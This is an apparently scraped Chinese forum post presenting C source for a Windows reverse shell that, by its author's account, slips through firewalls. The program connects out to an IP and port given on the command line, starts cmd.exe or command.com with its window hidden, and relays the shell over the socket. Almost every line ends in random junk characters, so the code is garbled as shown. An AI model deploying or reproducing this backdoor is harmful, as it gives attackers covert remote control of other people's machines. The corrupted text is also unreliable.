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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 NfvPE]S  
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/* ============================== >9{?&#]x  
Rebound port in Windows NT SY +0~5E  
By wind,2006/7 f kZHy|m  
===============================*/  g{Hgs  
#include Me .I>7c  
#include s(=wG|   
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#pragma comment(lib,"wsock32.lib") 5bLNQz\WJ  
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void OutputShell(); |(.\J`_e  
SOCKET sClient; ]I\GnDJ^  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =P(*j7=  
;bE/(nz M  
void main(int argc,char **argv) ZA(u"T~  
{ Z~J]I|R:  
WSADATA stWsaData; r^~+ <"  
int nRet; >5CK&6  
SOCKADDR_IN stSaiClient,stSaiServer; e=0]8l>\V  
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if(argc != 3) XRV]u|w=g  
{ U!(.i1^n  
printf("Useage:\n\rRebound DestIP DestPort\n"); Hh% !4_AMw  
return; eN=jWUoCh  
} 3YvKHn|V"  
i1B!oZ3q  
WSAStartup(MAKEWORD(2,2),&stWsaData); t1?aw<  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sLr47 NC  
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stSaiClient.sin_family = AF_INET; u_k[< &$  
stSaiClient.sin_port = htons(0); iJzBd7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `WayR^9  
ab6I*DbF  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $%~ JG(  
{ }^&S^N 7  
printf("Bind Socket Failed!\n"); ~&<#H+O  
return; 4CM'I~  
} RCWmdR#}V  
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stSaiServer.sin_family = AF_INET; 1{a%V$S[  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); DG;7+2U  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C8-7XQ=B:b  
oai=1vt@  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |oPRP1F-;e  
{ GKt."[seV  
printf("Connect Error!"); 36=aahXd\  
return; (uC8M,I\  
}  pQiC#4b  
OutputShell(); ]DNPG"  
} \qG ?'Iy  
bIU.C|h@  
void OutputShell() p [Po*c.b  
{ y#GHmHeh  
char szBuff[1024]; Cy;UyZ  
SECURITY_ATTRIBUTES stSecurityAttributes; OH t)z.  
OSVERSIONINFO stOsversionInfo; i\sBey ND"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >bW=oTFz  
STARTUPINFO stStartupInfo; 4mvR]: G  
char *szShell; E.K^v/dNdq  
PROCESS_INFORMATION stProcessInformation; &r1(1<  
unsigned long lBytesRead; ,CqWm9  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a}UmD HS-  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,';|CGI cP  
stSecurityAttributes.lpSecurityDescriptor = 0; +bznKy!  
stSecurityAttributes.bInheritHandle = TRUE; 1=)M15  
kq}byv}3I  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w/6X9d  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {'IO  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %,@pV%2  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _*o <<C\E  
stStartupInfo.wShowWindow = SW_HIDE; Xz^nm\  
stStartupInfo.hStdInput = hReadPipe; =~;~hZj  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .a@12J(I  
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GetVersionEx(&stOsversionInfo); mUg :<.^  
^%7(  
switch(stOsversionInfo.dwPlatformId) \Bo$ 3  
{ H,(vTthd  
case 1: r!Eh}0bL  
szShell = "command.com"; mh3S?Uc  
break; \bARp z?a  
default: jrQ0-D%M d  
szShell = "cmd.exe"; FOk&z!xYKd  
break; Z}S[fN8  
} >PA*L(Dh%  
3F;C{P!  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); G&*P*f1 S  
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send(sClient,szMsg,77,0); }t^wa\   
while(1) u$d[&|`>_  
{ Q a (Sb  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +?*;#=q  
if(lBytesRead) cACIy yQ  
{ KL_ /f   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !y d B,S  
send(sClient,szBuff,lBytesRead,0); R #wZW&N  
} ,j_js8r  
else E;a,].  
{ Gn2{C%  
lBytesRead=recv(sClient,szBuff,1024,0); nCq'=L,m  
if(lBytesRead<=0) break; Ih.+-!w  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <e UsMo<  
} Qf~>5(,h  
} j-K[]$  
rDWAZ<;;  
return; a&%aads  
}
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